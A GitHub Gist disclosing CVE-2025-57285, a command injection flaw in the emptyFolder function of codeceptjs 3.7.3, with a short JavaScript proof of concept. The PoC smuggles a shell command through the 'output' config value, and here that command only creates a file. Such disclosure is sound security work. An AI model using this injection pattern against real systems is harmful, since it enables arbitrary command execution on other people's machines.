Created
September 5, 2025 16:51
-
-
Save Dremig/1ba111f9b1f7cffe1fcb4838b64e55b9 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| [CVE ID] | |
| CVE-2025-57285 | |
| [PRODUCT] | |
| codeceptjs 3.7.3 | |
| [VERSION] | |
| codeceptjs 3.7.3 | |
| [DESCRIPTION] | |
| codeceptjs 3.7.3 contains a command injection vulnerability in the emptyFolder function (lib/utils.js). The execSync command directly concatenates the user-controlled directoryPath parameter without sanitization or escaping, allowing attackers to execute arbitrary commands. | |
| [PROBLEM TYPE] | |
| Command Injection | |
| [ATTACK VECTORD] | |
| the following PoC code will create two files named "test" and "Dremig486" in the current folder. | |
| ```javascript | |
| var exp = require('codeceptjs'); | |
| var maliciousConfig = { | |
| output: "/test/ ; touch Dremig486; #", | |
| emptyOutputFolder: true | |
| }; | |
| var codecept = new exp.Codecept(maliciousConfig); | |
| codecept.init("/tmp"); | |
| ``` | |
| [DISCOVERER] | |
| Dremig | |
| [REFERENCE] | |
| https://www.npmjs.com |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment